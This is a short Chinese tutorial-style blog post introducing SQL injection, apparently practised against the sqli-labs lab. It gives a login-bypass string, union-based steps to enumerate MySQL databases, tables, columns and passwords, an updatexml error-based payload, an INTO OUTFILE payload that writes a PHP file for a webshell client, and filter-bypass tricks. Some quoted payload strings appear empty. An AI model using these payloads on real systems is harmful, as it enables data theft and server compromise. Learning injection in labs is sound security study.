sql注入の初见
sql注入の初见
首先你要学会数据库的语法和特性。比如一个简单的表单,
在输入正确的账号和密码后,会进入另一个页面,我们可以使用一个特殊的用户“ ‘or 1=1– “ 我们就可以进入了,我们可以看一下代码
我们可以知道sql执行的语句是
1 | `select *from admin where username='' or 1=1--'and password=''` |
可知返回的值恒为真 大于0,自然可以进入。
MySQL基本注入:
1.判断注入类型,表单加上’ 在加 ‘and 1=1–+ 和 ’and 1=2–+ 看看
2.判断列数,用 order ,(为了下一步准备)
3.判断回显位置,用union select 1,2,3…..,列数具体看(2)。这个是一般由网页回显,不过要输入不存在的表单值
4.查看当前数据库名 ,将select database()插入会回显的位置,不过要输入不存在的表单值
5.查看数据库版本,将
1 | select version() |
插入会回显的位置
6.列出数据库名,将
1 | select group_concat(schema_name) from information_schema.schemata |
插入会回显的位置
7.列出你要的库的表,将
1 | select group_concat(table_name) from information_schema.tables where table_schema='库名' |
插入会回显的位置
8.列出你要的表的字段名,将
1 | select group_concat(column_name) from information_schema.columns where table_name='表名' |
插入会回显的位置
9.列出user和password, 将
1 | select group_cocat(字段名) from 库名.表名 和 select group_concat(字段名) from 库名.表名 |
插入会回显的位置即可
以上一般要注释符 – ,但是空格在url末尾会去掉,用–+,+在URL中有特殊含义为空格,或者可以用– x,x随便,x可以保证空格存在。
MySQL显错注入:
1.updatexml()
select name from user where id=1 and updatexml(1,concat(‘‘,(select database()),’‘),3);
MySQL dump into outfile:
生成一个php文件,可以用蚁剑连接, 比如构造一个这个
union select 1,(select group_concat(username) from security.users),’‘ into outfile ‘D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\data.php’–+
把’‘放入data.php中,便于蚁剑连接,aaa就是密码,可以在data.php中看到回显内容
记录一些绕过姿势
一、过滤空格
(1)、/**/
(2)、()比如and(1=1)